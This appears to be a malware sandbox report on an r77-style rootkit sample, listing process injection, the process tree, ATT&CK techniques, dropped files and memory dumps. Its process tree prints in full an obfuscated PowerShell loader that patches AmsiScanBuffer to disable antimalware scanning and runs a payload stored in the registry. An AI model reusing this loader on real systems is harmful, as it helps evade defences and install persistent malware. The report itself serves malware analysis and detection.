PID 2528 wrote to memory of 1420	2528	dllhost.exe	24
PID 2528 wrote to memory of 1456	2528	dllhost.exe	25
PID 2528 wrote to memory of 1580	2528	dllhost.exe	26
PID 2528 wrote to memory of 1588	2528	dllhost.exe	27
PID 2528 wrote to memory of 1660	2528	dllhost.exe	28
PID 2528 wrote to memory of 1712	2528	dllhost.exe	29
PID 2528 wrote to memory of 1736	2528	dllhost.exe	30
PID 2528 wrote to memory of 1800	2528	dllhost.exe	31
PID 2528 wrote to memory of 1808	2528	dllhost.exe	32
PID 2528 wrote to memory of 1900	2528	dllhost.exe	33
PID 2528 wrote to memory of 1912	2528	dllhost.exe	34
PID 2528 wrote to memory of 1960	2528	dllhost.exe	35
PID 2528 wrote to memory of 1968	2528	dllhost.exe	36
PID 2528 wrote to memory of 1068	2528	dllhost.exe	37
PID 1420 wrote to memory of 3472	1420	svchost.exe	95
PID 1420 wrote to memory of 3472	1420	svchost.exe	95
PID 2528 wrote to memory of 3472	2528	dllhost.exe	95
PID 668 wrote to memory of 2564	668	lsass.exe	46
PID 2528 wrote to memory of 1868	2528	dllhost.exe	39
PID 2528 wrote to memory of 2208	2528	dllhost.exe	40
PID 1420 wrote to memory of 4608	1420	svchost.exe	96
PID 1420 wrote to memory of 4608	1420	svchost.exe	96
PID 2528 wrote to memory of 4608	2528	dllhost.exe	96
PID 2528 wrote to memory of 2376	2528	dllhost.exe	41
PID 668 wrote to memory of 2564	668	lsass.exe	46
PID 2528 wrote to memory of 2404	2528	dllhost.exe	42
PID 2528 wrote to memory of 2412	2528	dllhost.exe	43
PID 1420 wrote to memory of 3540	1420	svchost.exe	97
PID 1420 wrote to memory of 3540	1420	svchost.exe	97
PID 2528 wrote to memory of 3540	2528	dllhost.exe	97
PID 2528 wrote to memory of 2480	2528	dllhost.exe	44
PID 668 wrote to memory of 2564	668	lsass.exe	46
PID 2528 wrote to memory of 2540	2528	dllhost.exe	45
PID 2528 wrote to memory of 2564	2528	dllhost.exe	46
PID 1420 wrote to memory of 3880	1420	svchost.exe	98
PID 1420 wrote to memory of 3880	1420	svchost.exe	98
PID 668 wrote to memory of 2564	668	lsass.exe	46
PID 2528 wrote to memory of 3880	2528	dllhost.exe	98
PID 2528 wrote to memory of 2596	2528	dllhost.exe	47
PID 2528 wrote to memory of 2608	2528	dllhost.exe	48

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:376
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 376 -s 3660
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:3140
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{fb38de94-923b-4c47-9a87-888c1b12f6de}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2528

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1132
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:LGUsnuDvXwDy{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$yHDbGULxToPsUf,[Parameter(Position=1)][Type]$QfkmgUKMBI)$mdHeuQdCeZa=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+[Char](116)+''+'e'+''+'d'+''+[Char](68)+''+[Char](101)+''+'l'+'e'+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+'Mo'+'d'+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+'e'+''+'l'+''+[Char](101)+'ga'+'t'+''+[Char](101)+''+[Char](84)+'yp'+[Char](101)+'',''+'C'+'lass'+[Char](44)+''+'P'+''+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+'Se'+[Char](97)+'l'+[Char](101)+''+[Char](100)+','+[Char](65)+'n'+'s'+''+[Char](105)+''+'C'+''+[Char](108)+'a'+'s'+''+'s'+','+[Char](65)+'ut'+[Char](111)+''+'C'+''+'l'+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$mdHeuQdCeZa.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+'a'+''+[Char](109)+''+'e'+','+[Char](72)+'i'+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$yHDbGULxToPsUf).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+'me'+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+'e'+''+'d'+'');$mdHeuQdCeZa.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+'c'+','+'H'+'id'+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+'r'+'t'+[Char](117)+'al',$QfkmgUKMBI,$yHDbGULxToPsUf).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+','+[Char](77)+'a'+'n'+'a'+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $mdHeuQdCeZa.CreateType();}$ICuPjaDYHYZFc=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+'m.'+[Char](100)+'ll')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+'s'+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+'n'+''+'3'+''+'2'+''+[Char](46)+''+'U'+'n'+'s'+'af'+'e'+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+'M'+[Char](101)+''+'t'+'h'+'o'+''+[Char](100)+''+[Char](115)+'');$YeNgPFZdFthHLs=$ICuPjaDYHYZFc.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+'d'+'d'+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'ubl'+'i'+''+'c'+''+[Char](44)+''+[Char](83)+'ta'+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$zYLyBchUfLybordyNnI=LGUsnuDvXwDy @([String])([IntPtr]);$oYqYnaemHbLFIKQqlcajZi=LGUsnuDvXwDy @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$JDczfaTIMUS=$ICuPjaDYHYZFc.GetMethod('Get'+'M'+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+'e'+[Char](72)+'a'+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+'2.d'+'l'+''+[Char](108)+'')));$GIVOTVTHyvqYLi=$YeNgPFZdFthHLs.Invoke($Null,@([Object]$JDczfaTIMUS,[Object](''+'L'+'o'+'a'+''+'d'+''+'L'+'i'+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+'A'+'')));$ULHGeetwdEMILUgmU=$YeNgPFZdFthHLs.Invoke($Null,@([Object]$JDczfaTIMUS,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+'o'+'t'+'e'+''+[Char](99)+'t')));$sadJjms=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GIVOTVTHyvqYLi,$zYLyBchUfLybordyNnI).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+'d'+'l'+'l');$dtlYxbKgibBYbBVMm=$YeNgPFZdFthHLs.Invoke($Null,@([Object]$sadJjms,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+'c'+''+'a'+''+[Char](110)+''+[Char](66)+'u'+'f'+''+'f'+''+'e'+''+'r'+'')));$oYrNwOAPNk=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ULHGeetwdEMILUgmU,$oYqYnaemHbLFIKQqlcajZi).Invoke($dtlYxbKgibBYbBVMm,[uint32]8,4,[ref]$oYrNwOAPNk);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$dtlYxbKgibBYbBVMm,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ULHGeetwdEMILUgmU,$oYqYnaemHbLFIKQqlcajZi).Invoke($dtlYxbKgibBYbBVMm,[uint32]8,0x20,[ref]$oYrNwOAPNk);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+[Char](84)+''+[Char](87)+''+'A'+'R'+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+'sta'+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
- Suspicious use of WriteProcessMemory
PID:1420
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3472
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4608
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3540
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3880
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2432
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1456

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1968

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:1868

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2540

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3040

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3320

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3416
- C:\Users\Admin\AppData\Local\Temp\_$77install.bin.exe
  "C:\Users\Admin\AppData\Local\Temp\_$77install.bin.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3588

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3772

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3928

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:2632

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:448

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1152

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:432

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4320

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1232

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:868

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4940

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:3048

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 875b430073b52dafafd3e57268bdd981 ojn33jzD4kqlNjkrVgGlVw.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:4600
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:2312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1200

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3136

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:3872

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1616

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER80F9.tmp.csv

Filesize
35KB

MD5
7575090b347b499cf70c7e42549beb09

SHA1
60f77ef69516c61922b18bc44e3abb54de99a808

SHA256
b4aad0381d5e6422f90ad93ef7e364cf3d862991e11a39b5980271076f9cc830

SHA512
10a0fea433a2e0615692b034dc7cc32284642af31afac2d5002f5f4c07dc11204e5a3d37e5f5cc4a99738c82a89cca8ec36a0c6494df5e785f0a4fd8b33b33ae

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER8149.tmp.txt

Filesize
13KB

MD5
6f109e410e1feeddde2c578fc04f1f2a

SHA1
c320380e41711d30d7510f1f834d208cc9b24cb9

SHA256
b72d04aadaa6413d5aaba5c95dea9f44a2280204dedc3ea4b7d7fb952cc558a9

SHA512
bd15693cf93cabeab6146cee2f7a78d130b3de65b65cd2581cef969f9a4ffb80196b5411ae89ebfc8249c02fb7944e19899d6802c6d7bd84957cb63586e33c06

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_bbxmudxi.xxe.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/376-84-0x0000014253830000-0x000001425385B000-memory.dmp

Filesize
172KB

Download
memory/376-250-0x00007FFA65DAC000-0x00007FFA65DAD000-memory.dmp

Filesize
4KB

Download
memory/376-76-0x0000014253830000-0x000001425385B000-memory.dmp

Filesize
172KB

Download
memory/616-35-0x000001D421220000-0x000001D42124B000-memory.dmp

Filesize
172KB

Download
memory/616-43-0x000001D421220000-0x000001D42124B000-memory.dmp

Filesize
172KB

Download
memory/616-33-0x000001D4211F0000-0x000001D421215000-memory.dmp

Filesize
148KB

Download
memory/616-34-0x000001D421220000-0x000001D42124B000-memory.dmp

Filesize
172KB

Download
memory/616-45-0x00007FFA65DAF000-0x00007FFA65DB0000-memory.dmp

Filesize
4KB

Download
memory/616-44-0x00007FFA65DAD000-0x00007FFA65DAE000-memory.dmp

Filesize
4KB

Download
memory/668-111-0x0000018C6A9D0000-0x0000018C6A9F5000-memory.dmp

Filesize
148KB

Download
memory/668-48-0x0000018C6AE00000-0x0000018C6AE2B000-memory.dmp

Filesize
172KB

Download
memory/668-56-0x0000018C6AE00000-0x0000018C6AE2B000-memory.dmp

Filesize
172KB

Download
memory/668-59-0x00007FFA65DAD000-0x00007FFA65DAE000-memory.dmp

Filesize
4KB

Download
memory/668-57-0x00007FFA25D90000-0x00007FFA25DA0000-memory.dmp

Filesize
64KB

Download
memory/968-71-0x00007FFA25D90000-0x00007FFA25DA0000-memory.dmp

Filesize
64KB

Download
memory/968-62-0x000001F542F00000-0x000001F542F2B000-memory.dmp

Filesize
172KB

Download
memory/968-70-0x000001F542F00000-0x000001F542F2B000-memory.dmp

Filesize
172KB

Download
memory/968-73-0x00007FFA65DAC000-0x00007FFA65DAD000-memory.dmp

Filesize
4KB

Download
memory/2528-22-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2528-25-0x00007FFA65D10000-0x00007FFA65F05000-memory.dmp

Filesize
2.0MB

Download
memory/2528-24-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2528-30-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2528-18-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2528-20-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2528-26-0x00007FFA659D0000-0x00007FFA65A8E000-memory.dmp

Filesize
760KB

Download
memory/2528-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2624-0-0x00007FFA47A13000-0x00007FFA47A15000-memory.dmp

Filesize
8KB

Download
memory/2624-29-0x00007FFA47A10000-0x00007FFA484D1000-memory.dmp

Filesize
10.8MB

Download
memory/2624-17-0x00007FFA659D0000-0x00007FFA65A8E000-memory.dmp

Filesize
760KB

Download
memory/2624-16-0x00007FFA65D10000-0x00007FFA65F05000-memory.dmp

Filesize
2.0MB

Download
memory/2624-15-0x000001E25A4F0000-0x000001E25A51A000-memory.dmp

Filesize
168KB

Download
memory/2624-14-0x00007FFA47A10000-0x00007FFA484D1000-memory.dmp

Filesize
10.8MB

Download
memory/2624-13-0x00007FFA47A10000-0x00007FFA484D1000-memory.dmp

Filesize
10.8MB

Download
memory/2624-12-0x00007FFA47A10000-0x00007FFA484D1000-memory.dmp

Filesize
10.8MB

Download
memory/2624-8-0x000001E25A150000-0x000001E25A172000-memory.dmp

Filesize
136KB

Download
memory/2624-1-0x00007FFA47A10000-0x00007FFA484D1000-memory.dmp

Filesize
10.8MB

Download